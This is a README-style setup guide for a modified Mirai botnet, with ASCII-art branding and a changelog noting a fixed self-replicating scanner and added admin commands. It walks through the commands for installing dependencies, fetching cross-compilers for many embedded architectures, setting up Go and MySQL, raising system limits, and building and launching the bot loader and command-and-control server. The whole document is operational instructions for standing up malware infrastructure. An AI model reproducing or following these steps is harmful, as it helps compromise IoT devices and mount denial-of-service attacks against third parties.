                           ..                     .x+=:.   
  .uef^"                 dF                      z`    ^%  
:d88E                   '88bu.                      .   <k 
`888E             u     '*88888bu        .u       .@8Ned8" 
 888E .z8k     us888u.    ^"*8888N    ud8888.   .@^%8888"  
 888E~?888L .@88 "8888"  beWE "888L :888'8888. x88:  `)8b. 
 888E  888E 9888  9888   888E  888E d888 '88%" 8888N=*8888 
 888E  888E 9888  9888   888E  888E 8888.+"     %8"    R88 
 888E  888E 9888  9888   888E  888F 8888L        @8Wou 9%  
 888E  888E 9888  9888  .888N..888  '8888c. .+ .888888P`   
m888N= 888> "888*""888"  `"888*""    "88888%   `   ^"F     
 `Y"   888   ^Y"   ^Y'      ""         "YP'                
      J88"                                                 
      @%                                                   
    :"                                                     

- Created by: satuur#4687.
- Self-rep Scanner fixed.
- STD Modded.

- Adduser, addadmin added.
- Deleteuser added.

// -------------- // Installs // -------------- //

yum update -y
yum install epel-release -y
yum install groupinstall "Development Tools" -y
yum install gmp-devel -y
ln -s /usr/lib64/libgmp.so.3  /usr/lib64/libgmp.so.10
yum install screen nano wget bzip2 gcc gcc-c++ electric-fence sudo git libc6-dev httpd xinetd tftpd tftp-server mysql mysql-server gcc glibc-static -y


// -------------- // Cross-compilers // -------------- //

mkdir /etc/xcompile/
cd /etc/xcompile/
wget https://github.com/foss-for-synopsys-dwc-arc-processors/toolchain/releases/download/arc-2017.09-release/arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2
wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2
wget https://landley.net/aboriginal/downloads/old/binaries/1.2.6/cross-compiler-armv7l.tar.bz2

tar -xzf arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install.tar.gz
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-i686.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2
tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-armv5l.tar.bz2
tar -jxf cross-compiler-armv6l.tar.bz2
tar -jxf cross-compiler-armv7l.tar.bz2
rm -rf *.tar.bz2
rm -rf *.tar.gz
mv arc_gnu_2017.09_prebuilt_uclibc_le_arc700_linux_install arc
mv cross-compiler-i586 i586
mv cross-compiler-i686 i686
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc
mv cross-compiler-armv4l armv4l
mv cross-compiler-armv5l armv5l
mv cross-compiler-armv6l armv6l
mv cross-compiler-armv7l armv7l

// -------------- // .go Support // -------------- //

cd /tmp
wget https://dl.google.com/go/go1.9.4.linux-amd64.tar.gz -q
tar -xzf go1.9.4.linux-amd64.tar.gz
mv go /usr/local
export GOROOT=/usr/local/go
export GOPATH=$HOME/Projects/Proj1
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
go version
go env
cd ~/

// -------------- // mySQL Install // -------------- //

service mysqld start
mysql_secure_installation

mysql -p

- After that, go to database.txt
                    ^^^

// -------------- // Mirai Compiling // -------------- //

sh build.sh

nano /usr/include/bits/typesizes.h

Goto the last line, and chage "1024" to "999999"
After that, save it.

ulimit -n999999; ulimit -u999999; ulimit -e999999

// -------------- // Loader Install // -------------- //

cd loader/
chmod 777 *
sh build.sh

cd ~

screen ./cnc

// -------------- // Default TELNET port its 666 =) // -------------- //